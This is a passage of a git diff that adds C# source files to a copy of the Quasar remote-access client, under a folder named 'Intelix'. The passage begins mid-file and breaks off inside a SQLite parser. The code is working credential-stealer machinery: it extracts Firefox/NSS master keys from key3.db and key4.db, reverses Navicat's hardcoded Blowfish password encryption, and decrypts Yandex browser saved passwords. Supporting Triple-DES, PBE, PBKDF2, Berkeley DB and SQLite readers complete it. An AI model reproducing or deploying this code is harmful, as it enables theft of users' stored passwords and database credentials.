Marshal.AllocHGlobal(array.Length), + Len = array.Length, + Type = 0 + }; + Marshal.Copy(array, 0, data.Data, array.Length); + SECItem result = default(SECItem); + int num = PK11SDR_Decrypt(ref data, ref result, 0); + Marshal.FreeHGlobal(data.Data); + if (num != 0 || result.Data == IntPtr.Zero) + { + return null; + } + byte[] array2 = new byte[result.Len]; + Marshal.Copy(result.Data, array2, 0, result.Len); + return Encoding.UTF8.GetString(array2); + } + catch + { + return null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Navicat11Cipher.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Navicat11Cipher.cs new file mode 100755 index 0000000..4e116c3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Navicat11Cipher.cs @@ -0,0 +1,64 @@ +using System; +using System.Linq; +using System.Security.Cryptography; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public class Navicat11Cipher +{ + private Blowfish blowfishCipher; + + protected byte[] StringToByteArray(string hex) + { + return (from x in Enumerable.Range(0, hex.Length) + where x % 2 == 0 + select Convert.ToByte(hex.Substring(x, 2), 16)).ToArray(); + } + + protected void XorBytes(byte[] a, byte[] b, int len) + { + for (int i = 0; i < len; i++) + { + a[i] ^= b[i]; + } + } + + public Navicat11Cipher() + { + byte[] array = new byte[8] { 51, 68, 67, 53, 67, 65, 51, 57 }; + using SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider(); + sHA1CryptoServiceProvider.TransformFinalBlock(array, 0, array.Length); + blowfishCipher = new Blowfish(sHA1CryptoServiceProvider.Hash); + } + + public string DecryptString(string ciphertext) + { + byte[] array = StringToByteArray(ciphertext); + byte[] array2 = Enumerable.Repeat(byte.MaxValue, blowfishCipher.BlockSize).ToArray(); + blowfishCipher.Encrypt(array2, Blowfish.Endian.Big); + byte[] array3 = new byte[0]; + int num = array.Length / blowfishCipher.BlockSize; + int num2 = array.Length % blowfishCipher.BlockSize; + byte[] array4 = new byte[blowfishCipher.BlockSize]; + byte[] array5 = new byte[blowfishCipher.BlockSize]; + for (int i = 0; i < num; i++) + { + Array.Copy(array, blowfishCipher.BlockSize * i, array4, 0, blowfishCipher.BlockSize); + Array.Copy(array4, array5, blowfishCipher.BlockSize); + blowfishCipher.Decrypt(array4, Blowfish.Endian.Big); + XorBytes(array4, array2, blowfishCipher.BlockSize); + array3 = array3.Concat(array4).ToArray(); + XorBytes(array2, array5, blowfishCipher.BlockSize); + } + if (num2 != 0) + { + Array.Clear(array4, 0, array4.Length); + Array.Copy(array, blowfishCipher.BlockSize * num, array4, 0, num2); + blowfishCipher.Encrypt(array2, Blowfish.Endian.Big); + XorBytes(array4, array2, blowfishCipher.BlockSize); + array3 = array3.Concat(array4.Take(num2).ToArray()).ToArray(); + } + return Encoding.UTF8.GetString(array3); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NssDumpMasterKey.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NssDumpMasterKey.cs new file mode 100755 index 0000000..d80f866 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NssDumpMasterKey.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Text; +using Intelix.Helper.Hashing; +using Intelix.Helper.Sql; + +namespace Intelix.Helper.Encrypted; + +public static class NssDumpMasterKey +{ + public static byte[] Key4Database(string path) + { + Asn1Der asn1Der = new Asn1Der(); + SqLite sqLite = SqLite.ReadTable(path, "metaData"); + if (sqLite == null) + { + return null; + } + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + if (sqLite.GetValue(i, 0) != "password") + { + continue; + } + byte[] bytes = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 1)); + byte[] bytes2 = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 2)); + if (bytes.Length < 1 || bytes2.Length < 1) + { + continue; + } + Asn1DerObject asn1DerObject = asn1Der.Parse(bytes2); + string text = asn1DerObject.ToString(); + if (text == null) + { + continue; + } + if (text.Contains("2A864886F70D010C050103")) + { + byte[] array = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Data; + byte[] array2 = asn1DerObject.Objects[0]?.Objects[1]?.Data; + if (array == null || array2 == null) + { + continue; + } + byte[] bytes3 = new TripleDes(array2, bytes, new byte[0], array).Compute(); + if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes3).StartsWith("password-check")) + { + continue; + } + } + else + { + if (!text.Contains("2A864886F70D01050D")) + { + continue; + } + byte[] array3 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Objects[1]?.Objects[0]?.Data; + byte[] array4 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[2]?.Objects[1]?.Data; + byte[] array5 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[3]?.Data; + if (array3 == null || array4 == null || array5 == null) + { + continue; + } + byte[] bytes4 = new PBE(array5, bytes, new byte[0], array3, array4).Compute(); + if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes4).StartsWith("password-check")) + { + continue; + } + } + sqLite = SqLite.ReadTable(path, "nssPrivate"); + if (sqLite != null) + { + int num = 0; + if (num < sqLite.GetRowCount()) + { + byte[] bytes5 = Encoding.UTF8.GetBytes(sqLite.GetValue(num, 6)); + Asn1DerObject asn1DerObject2 = asn1Der.Parse(bytes5); + byte[] sourceArray = new PBE(entrySalt: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[0].Objects[1].Objects[0].Data, partIv: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[2].Objects[1].Data, ciphertext: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[3].Data, globalSalt: bytes, masterPassword: new byte[0]).Compute(); + byte[] array6 = new byte[24]; + Array.Copy(sourceArray, array6, array6.Length); + return array6; + } + } + } + return null; + } + + public static byte[] Key3Database(string path) + { + byte[] array = File.ReadAllBytes(path); + if (array == null) + { + return null; + } + Asn1Der asn1Der = new Asn1Der(); + BerkeleyDB berkeleyDB = new BerkeleyDB(array); + string text = berkeleyDB.Keys.Where(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Key.Equals("password-check"); + }).Select(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Value; + }).FirstOrDefault(); + if (text == null) + { + return null; + } + text = text.Replace("-", null); + int num = int.Parse(text.Substring(2, 2), NumberStyles.HexNumber) * 2; + string hexString = text.Substring(6, num); + int num2 = text.Length - (6 + num + 36); + string hexString2 = text.Substring(6 + num + 4 + num2); + string text2 = berkeleyDB.Keys.Where(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Key.Equals("global-salt"); + }).Select(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Value; + }).FirstOrDefault(); + if (text2 == null) + { + return null; + } + text2 = text2.Replace("-", null); + TripleDes tripleDes = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), HexToBytes(hexString)); + tripleDes.ComputeVoid(); + if (!TripleDes.DecryptStringDesCbc(tripleDes.Key, tripleDes.Vector, HexToBytes(hexString2)).StartsWith("password-check")) + { + return null; + } + string text3 = (from p in berkeleyDB.Keys + where !p.Key.Equals("global-salt") && !p.Key.Equals("Version") && !p.Key.Equals("password-check") + select p.Value).FirstOrDefault(); + if (text3 == null) + { + return null; + } + text3 = text3.Replace("-", ""); + Asn1DerObject asn1DerObject = asn1Der.Parse(HexToBytes(text3)); + TripleDes tripleDes2 = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), asn1DerObject.Objects[0].Objects[0].Objects[1].Objects[0].Data); + tripleDes2.ComputeVoid(); + byte[] toParse = TripleDes.DecryptByteDesCbc(tripleDes2.Key, tripleDes2.Vector, asn1DerObject.Objects[0].Objects[1].Data); + Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse); + Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.Objects[0].Objects[2].Data); + byte[] array2 = new byte[24]; + if (asn1DerObject3.Objects[0].Objects[3].Data.Length > 24) + { + Array.Copy(asn1DerObject3.Objects[0].Objects[3].Data, asn1DerObject3.Objects[0].Objects[3].Data.Length - 24, array2, 0, 24); + } + else + { + array2 = asn1DerObject3.Objects[0].Objects[3].Data; + } + return array2; + } + + public static byte[] HexToBytes(string hexString) + { + if (hexString.Length % 2 != 0) + { + return null; + } + byte[] array = new byte[hexString.Length / 2]; + for (int i = 0; i < array.Length; i++) + { + string s = hexString.Substring(i * 2, 2); + array[i] = byte.Parse(s, NumberStyles.HexNumber, CultureInfo.InvariantCulture); + } + return array; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/RC4Crypt.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/RC4Crypt.cs new file mode 100755 index 0000000..b88afc1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/RC4Crypt.cs @@ -0,0 +1,50 @@ +namespace Intelix.Helper.Encrypted; + +public class RC4Crypt +{ + public static byte[] Decrypt(byte[] key, byte[] data) + { + if (key == null) + { + return null; + } + if (key.Length == 0) + { + return null; + } + if (data == null) + { + return null; + } + byte[] array = new byte[256]; + for (int i = 0; i < 256; i++) + { + array[i] = (byte)i; + } + int num = 0; + for (int j = 0; j < 256; j++) + { + num = (num + array[j] + key[j % key.Length]) & 0xFF; + Swap(array, j, num); + } + byte[] array2 = new byte[data.Length]; + int num2 = 0; + num = 0; + for (int k = 0; k < data.Length; k++) + { + num2 = (num2 + 1) & 0xFF; + num = (num + array[num2]) & 0xFF; + Swap(array, num2, num); + byte b = array[(array[num2] + array[num]) & 0xFF]; + array2[k] = (byte)(data[k] ^ b); + } + return array2; + } + + private static void Swap(byte[] arr, int a, int b) + { + byte b2 = arr[a]; + arr[a] = arr[b]; + arr[b] = b2; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/TripleDes.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/TripleDes.cs new file mode 100755 index 0000000..0874b30 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/TripleDes.cs @@ -0,0 +1,163 @@ +using System; +using System.IO; +using System.Security.Cryptography; + +namespace Intelix.Helper.Encrypted; + +internal class TripleDes +{ + private byte[] CipherText { get; } + + private byte[] GlobalSalt { get; } + + private byte[] MasterPassword { get; } + + private byte[] EntrySalt { get; } + + public byte[] Key { get; private set; } + + public byte[] Vector { get; private set; } + + public TripleDes(byte[] cipherText, byte[] globalSalt, byte[] masterPass, byte[] entrySalt) + { + CipherText = cipherText; + GlobalSalt = globalSalt; + MasterPassword = masterPass; + EntrySalt = entrySalt; + } + + public TripleDes(byte[] globalSalt, byte[] masterPassword, byte[] entrySalt) + { + GlobalSalt = globalSalt; + MasterPassword = masterPassword; + EntrySalt = entrySalt; + } + + public void ComputeVoid() + { + SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider(); + byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length]; + Array.Copy(GlobalSalt, 0, array, 0, GlobalSalt.Length); + Array.Copy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length); + byte[] array2 = sHA1CryptoServiceProvider.ComputeHash(array); + byte[] array3 = new byte[array2.Length + EntrySalt.Length]; + Array.Copy(array2, 0, array3, 0, array2.Length); + Array.Copy(EntrySalt, 0, array3, array2.Length, EntrySalt.Length); + byte[] key = sHA1CryptoServiceProvider.ComputeHash(array3); + byte[] array4 = new byte[20]; + Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length); + for (int i = EntrySalt.Length; i < 20; i++) + { + array4[i] = 0; + } + byte[] array5 = new byte[array4.Length + EntrySalt.Length]; + Array.Copy(array4, 0, array5, 0, array4.Length); + Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length); + byte[] array6; + byte[] array9; + using (HMACSHA1 hMACSHA = new HMACSHA1(key)) + { + array6 = hMACSHA.ComputeHash(array5); + byte[] array7 = hMACSHA.ComputeHash(array4); + byte[] array8 = new byte[array7.Length + EntrySalt.Length]; + Array.Copy(array7, 0, array8, 0, array7.Length); + Array.Copy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length); + array9 = hMACSHA.ComputeHash(array8); + } + byte[] array10 = new byte[array6.Length + array9.Length]; + Array.Copy(array6, 0, array10, 0, array6.Length); + Array.Copy(array9, 0, array10, array6.Length, array9.Length); + Key = new byte[24]; + for (int j = 0; j < Key.Length; j++) + { + Key[j] = array10[j]; + } + Vector = new byte[8]; + int num = Vector.Length - 1; + for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--) + { + Vector[num] = array10[num2]; + num--; + } + } + + public byte[] Compute() + { + byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length]; + Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length); + Buffer.BlockCopy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length); + byte[] array2 = new SHA1Managed().ComputeHash(array); + byte[] array3 = new byte[array2.Length + EntrySalt.Length]; + Buffer.BlockCopy(array2, 0, array3, 0, array2.Length); + Buffer.BlockCopy(EntrySalt, 0, array3, EntrySalt.Length, array2.Length); + byte[] key = new SHA1Managed().ComputeHash(array3); + byte[] array4 = new byte[20]; + Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length); + for (int i = EntrySalt.Length; i < 20; i++) + { + array4[i] = 0; + } + byte[] array5 = new byte[array4.Length + EntrySalt.Length]; + Array.Copy(array4, 0, array5, 0, array4.Length); + Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length); + byte[] array6; + byte[] array9; + using (HMACSHA1 hMACSHA = new HMACSHA1(key)) + { + array6 = hMACSHA.ComputeHash(array5); + byte[] array7 = hMACSHA.ComputeHash(array4); + byte[] array8 = new byte[array7.Length + EntrySalt.Length]; + Buffer.BlockCopy(array7, 0, array8, 0, array7.Length); + Buffer.BlockCopy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length); + array9 = hMACSHA.ComputeHash(array8); + } + byte[] array10 = new byte[array6.Length + array9.Length]; + Array.Copy(array6, 0, array10, 0, array6.Length); + Array.Copy(array9, 0, array10, array6.Length, array9.Length); + Key = new byte[24]; + for (int j = 0; j < Key.Length; j++) + { + Key[j] = array10[j]; + } + Vector = new byte[8]; + int num = Vector.Length - 1; + for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--) + { + Vector[num] = array10[num2]; + num--; + } + byte[] sourceArray = DecryptByteDesCbc(Key, Vector, CipherText); + byte[] array11 = new byte[24]; + Array.Copy(sourceArray, array11, array11.Length); + return array11; + } + + public static string DecryptStringDesCbc(byte[] key, byte[] iv, byte[] input) + { + using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); + tripleDESCryptoServiceProvider.Key = key; + tripleDESCryptoServiceProvider.IV = iv; + tripleDESCryptoServiceProvider.Mode = CipherMode.CBC; + tripleDESCryptoServiceProvider.Padding = PaddingMode.None; + ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV); + using MemoryStream stream = new MemoryStream(input); + using CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Read); + using StreamReader streamReader = new StreamReader(stream2); + return streamReader.ReadToEnd(); + } + + public static byte[] DecryptByteDesCbc(byte[] key, byte[] iv, byte[] input) + { + byte[] array = new byte[512]; + using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); + tripleDESCryptoServiceProvider.Key = key; + tripleDESCryptoServiceProvider.IV = iv; + tripleDESCryptoServiceProvider.Mode = CipherMode.CBC; + tripleDESCryptoServiceProvider.Padding = PaddingMode.None; + ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV); + using MemoryStream stream = new MemoryStream(input); + using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Read); + cryptoStream.Read(array, 0, array.Length); + return array; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Xor.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Xor.cs new file mode 100755 index 0000000..4fae9bb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Xor.cs @@ -0,0 +1,16 @@ +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class Xor +{ + public static string DecryptString(string input, byte key) + { + byte[] bytes = Encoding.UTF8.GetBytes(input); + for (int i = 0; i < bytes.Length; i++) + { + bytes[i] ^= key; + } + return Encoding.UTF8.GetString(bytes); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/YaAuthenticatedData.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/YaAuthenticatedData.cs new file mode 100755 index 0000000..e7d2806 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/YaAuthenticatedData.cs @@ -0,0 +1,45 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class YaAuthenticatedData +{ + public static byte[] Decrypt(byte[] encryptionKey, byte[] password_value, string url, string username_element, string password_element, string username_value, string signon_realm) + { + byte[] aad = new byte[0]; + using (SHA1 sHA = SHA1.Create()) + { + byte[] bytes = Encoding.UTF8.GetBytes(url); + byte[] bytes2 = Encoding.UTF8.GetBytes(username_element); + byte[] bytes3 = Encoding.UTF8.GetBytes(username_value); + byte[] bytes4 = Encoding.UTF8.GetBytes(password_element); + byte[] bytes5 = Encoding.UTF8.GetBytes(signon_realm); + byte[] array = new byte[bytes.Length + 1 + bytes2.Length + 1 + bytes3.Length + 1 + bytes4.Length + 1 + bytes5.Length]; + int num = 0; + Array.Copy(bytes, 0, array, num, bytes.Length); + num += bytes.Length; + array[num++] = 0; + Array.Copy(bytes2, 0, array, num, bytes2.Length); + num += bytes2.Length; + array[num++] = 0; + Array.Copy(bytes3, 0, array, num, bytes3.Length); + num += bytes3.Length; + array[num++] = 0; + Array.Copy(bytes4, 0, array, num, bytes4.Length); + num += bytes4.Length; + array[num++] = 0; + Array.Copy(bytes5, 0, array, num, bytes5.Length); + aad = sHA.ComputeHash(array); + } + byte[] array2 = new byte[12]; + Array.Copy(password_value, 0, array2, 0, 12); + int num2 = password_value.Length - 12 - 16; + byte[] array3 = new byte[num2]; + Array.Copy(password_value, 12, array3, 0, num2); + byte[] array4 = new byte[16]; + Array.Copy(password_value, password_value.Length - 16, array4, 0, 16); + return AesGcm256.Decrypt(encryptionKey, array2, aad, array3, array4); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBE.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBE.cs new file mode 100755 index 0000000..be3558a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBE.cs @@ -0,0 +1,46 @@ +using System; +using System.Security.Cryptography; + +namespace Intelix.Helper.Hashing; + +public class PBE +{ + private byte[] Ciphertext { get; } + + private byte[] GlobalSalt { get; } + + private byte[] MasterPass { get; } + + private byte[] EntrySalt { get; } + + private byte[] PartIv { get; } + + public PBE(byte[] ciphertext, byte[] globalSalt, byte[] masterPassword, byte[] entrySalt, byte[] partIv) + { + Ciphertext = ciphertext; + GlobalSalt = globalSalt; + MasterPass = masterPassword; + EntrySalt = entrySalt; + PartIv = partIv; + } + + public byte[] Compute() + { + byte[] array = new byte[GlobalSalt.Length + MasterPass.Length]; + Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length); + Buffer.BlockCopy(MasterPass, 0, array, GlobalSalt.Length, MasterPass.Length); + byte[] password = new SHA1Managed().ComputeHash(array); + byte[] array2 = new byte[2] { 4, 14 }; + byte[] array3 = new byte[array2.Length + PartIv.Length]; + Buffer.BlockCopy(array2, 0, array3, 0, array2.Length); + Buffer.BlockCopy(PartIv, 0, array3, array2.Length, PartIv.Length); + byte[] bytes = new PBKDF2(new HMACSHA256(), password, EntrySalt, 1).GetBytes(32); + return new AesManaged + { + Mode = CipherMode.CBC, + BlockSize = 128, + KeySize = 256, + Padding = PaddingMode.Zeros + }.CreateDecryptor(bytes, array3).TransformFinalBlock(Ciphertext, 0, Ciphertext.Length); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBKDF2.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBKDF2.cs new file mode 100755 index 0000000..1e51db1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBKDF2.cs @@ -0,0 +1,106 @@ +using System; +using System.Security.Cryptography; + +namespace Intelix.Helper.Hashing; + +public class PBKDF2 +{ + private readonly int _blockSize; + + private uint _blockIndex = 1u; + + private byte[] _bufferBytes; + + private int _bufferStartIndex; + + private int _bufferEndIndex; + + private HMAC Algorithm { get; } + + private byte[] Salt { get; } + + private int IterationCount { get; } + + public PBKDF2(HMAC algorithm, byte[] password, byte[] salt, int iterations) + { + Algorithm = algorithm ?? throw new ArgumentNullException("algorithm", "Algorithm cannot be null."); + Algorithm.Key = password ?? throw new ArgumentNullException("password", "Password cannot be null."); + Salt = salt ?? throw new ArgumentNullException("salt", "Salt cannot be null."); + IterationCount = iterations; + _blockSize = Algorithm.HashSize / 8; + _bufferBytes = new byte[_blockSize]; + } + + public byte[] GetBytes(int count) + { + byte[] array = new byte[count]; + int i = 0; + int num = _bufferEndIndex - _bufferStartIndex; + if (num > 0) + { + if (count < num) + { + Buffer.BlockCopy(_bufferBytes, _bufferStartIndex, array, 0, count); + _bufferStartIndex += count; + return array; + } + Buffer.BlockCopy(_bufferBytes, _bufferStartIndex, array, 0, num); + _bufferStartIndex = (_bufferEndIndex = 0); + i += num; + } + for (; i < count; i += _blockSize) + { + int num2 = count - i; + _bufferBytes = Func(); + if (num2 > _blockSize) + { + Buffer.BlockCopy(_bufferBytes, 0, array, i, _blockSize); + continue; + } + Buffer.BlockCopy(_bufferBytes, 0, array, i, num2); + _bufferStartIndex = num2; + _bufferEndIndex = _blockSize; + return array; + } + return array; + } + + private byte[] Func() + { + byte[] array = new byte[Salt.Length + 4]; + Buffer.BlockCopy(Salt, 0, array, 0, Salt.Length); + Buffer.BlockCopy(GetBytesFromInt(_blockIndex), 0, array, Salt.Length, 4); + byte[] array2 = Algorithm.ComputeHash(array); + byte[] array3 = array2; + for (int i = 2; i <= IterationCount; i++) + { + array2 = Algorithm.ComputeHash(array2, 0, array2.Length); + for (int j = 0; j < _blockSize; j++) + { + array3[j] ^= array2[j]; + } + } + if (_blockIndex == uint.MaxValue) + { + throw new InvalidOperationException("Derived key too long."); + } + _blockIndex++; + return array3; + } + + private static byte[] GetBytesFromInt(uint i) + { + byte[] bytes = BitConverter.GetBytes(i); + if (!BitConverter.IsLittleEndian) + { + return bytes; + } + return new byte[4] + { + bytes[3], + bytes[2], + bytes[1], + bytes[0] + }; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/BerkeleyDB.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/BerkeleyDB.cs new file mode 100755 index 0000000..5081b5b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/BerkeleyDB.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Intelix.Helper.Sql; + +public class BerkeleyDB +{ + public List> Keys { get; } + + public BerkeleyDB(byte[] file) + { + List list = new List(); + Keys = new List>(); + using (MemoryStream input = new MemoryStream(file)) + { + using BinaryReader binaryReader = new BinaryReader(input); + int i = 0; + for (int num = (int)binaryReader.BaseStream.Length; i < num; i++) + { + list.Add(binaryReader.ReadByte()); + } + } + string text = BitConverter.ToString(Extract(list.ToArray(), 0, 4, littleEndian: false)).Replace("-", ""); + int num2 = BitConverter.ToInt32(Extract(list.ToArray(), 12, 4, littleEndian: true), 0); + if (!text.Equals("00061561")) + { + return; + } + int num3 = int.Parse(BitConverter.ToString(Extract(list.ToArray(), 56, 4, littleEndian: false)).Replace("-", "")); + int num4 = 1; + while (Keys.Count < num3) + { + string[] array = new string[(num3 - Keys.Count) * 2]; + for (int j = 0; j < (num3 - Keys.Count) * 2; j++) + { + array[j] = BitConverter.ToString(Extract(list.ToArray(), num2 * num4 + 2 + j * 2, 2, littleEndian: true)).Replace("-", ""); + } + Array.Sort(array); + for (int k = 0; k < array.Length; k += 2) + { + int num5 = Convert.ToInt32(array[k], 16) + num2 * num4; + int num6 = Convert.ToInt32(array[k + 1], 16) + num2 * num4; + int num7 = ((k + 2 >= array.Length) ? (num2 + num2 * num4) : (Convert.ToInt32(array[k + 2], 16) + num2 * num4)); + string text2 = Encoding.ASCII.GetString(Extract(list.ToArray(), num6, num7 - num6, littleEndian: false)); + string value = BitConverter.ToString(Extract(list.ToArray(), num5, num6 - num5, littleEndian: false)); + if (!string.IsNullOrWhiteSpace(text2)) + { + Keys.Add(new KeyValuePair(text2, value)); + } + } + num4++; + } + } + + private static byte[] Extract(byte[] source, int start, int length, bool littleEndian) + { + byte[] array = new byte[length]; + int num = 0; + for (int i = start; i < start + length; i++) + { + array[num] = source[i]; + num++; + } + if (littleEndian) + { + Array.Reverse(array); + } + return array; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/SqLite.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/SqLite.cs new file mode 100755 index 0000000..5bd037f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/SqLite.cs @@ -0,0 +1,457 @@ +using System; +using System.IO; +using System.Text; + +namespace Intelix.Helper.Sql; + +public class SqLite +{ + private struct RecordHeaderField + { + public long Size; + + public long Type; + } + + private struct TableEntry + { + public string[] Content; + } + + private struct SqliteMasterEntry + { + public string ItemName; + + public long RootNum; + + public string SqlStatement; + } + + private readonly ulong _dbEncoding; + + private readonly byte[] _fileBytes; + + private readonly ulong _pageSize; + + private readonly byte[] _sqlDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; + + private string[] _fieldNames; + + private SqliteMasterEntry[] _masterTableEntries; + + private TableEntry[] _tableEntries; + + public SqLite(string fileName) + { + _fileBytes = File.ReadAllBytes(fileName); + _pageSize = ConvertToULong(16, 2); + _dbEncoding = ConvertToULong(56, 4); + ReadMasterTable(100L); + } + + public SqLite(byte[] basedata) + { + _fileBytes = basedata; + _pageSize = ConvertToULong(16, 2); + _dbEncoding = ConvertToULong(56, 4); + ReadMasterTable(100L); + } + + public string GetValue(int rowNum, int field) + { + try + { + if (rowNum >= _tableEntries.Length) + { + return null; + } + return (field >= _tableEntries[rowNum].Content.Length) ? null : _tableEntries[rowNum].Content[field]; + } + catch + { + return ""; + } + } + + public int GetRowCount() + { + return _tableEntries.Length; + } + + private bool ReadTableFromOffset(ulong offset) + { + try + { + switch (_fileBytes[offset]) + { + case 13: + { + uint num4 = (uint)(ConvertToULong((int)offset + 3, 2) - 1); + int num5 = 0; + if (_tableEntries != null) + { + num5 = _tableEntries.Length; + Array.Resize(ref _tableEntries, _tableEntries.Length + (int)num4 + 1); + } + else + { + _tableEntries = new TableEntry[num4 + 1]; + } + for (uint num6 = 0u; (int)num6 <= (int)num4; num6++) + { + ulong num7 = ConvertToULong((int)offset + 8 + (int)(num6 * 2), 2); + if (offset != 100) + { + num7 += offset; + } + int num8 = Gvl((int)num7); + Cvl((int)num7, num8); + int num9 = Gvl((int)((long)num7 + ((long)num8 - (long)num7) + 1)); + Cvl((int)((long)num7 + ((long)num8 - (long)num7) + 1), num9); + ulong num10 = num7 + (ulong)((long)num9 - (long)num7 + 1); + int num11 = Gvl((int)num10); + int num12 = num11; + long num13 = Cvl((int)num10, num11); + RecordHeaderField[] array = null; + long num14 = (long)num10 - (long)num11 + 1; + int num15 = 0; + while (num14 < num13) + { + Array.Resize(ref array, num15 + 1); + int num16 = num12 + 1; + num12 = Gvl(num16); + array[num15].Type = Cvl(num16, num12); + array[num15].Size = ((array[num15].Type <= 9) ? _sqlDataTypeSize[array[num15].Type] : ((!IsOdd(array[num15].Type)) ? ((array[num15].Type - 12) / 2) : ((array[num15].Type - 13) / 2))); + num14 = num14 + (num12 - num16) + 1; + num15++; + } + if (array == null) + { + continue; + } + _tableEntries[num5 + (int)num6].Content = new string[array.Length]; + int num17 = 0; + for (int i = 0; i <= array.Length - 1; i++) + { + if (array[i].Type > 9) + { + if (!IsOdd(array[i].Type)) + { + long dbEncoding = (long)_dbEncoding; + long num18 = dbEncoding - 1; + if ((ulong)num18 <= 2uL) + { + switch (num18) + { + case 0L: + _tableEntries[num5 + (int)num6].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + break; + case 1L: + 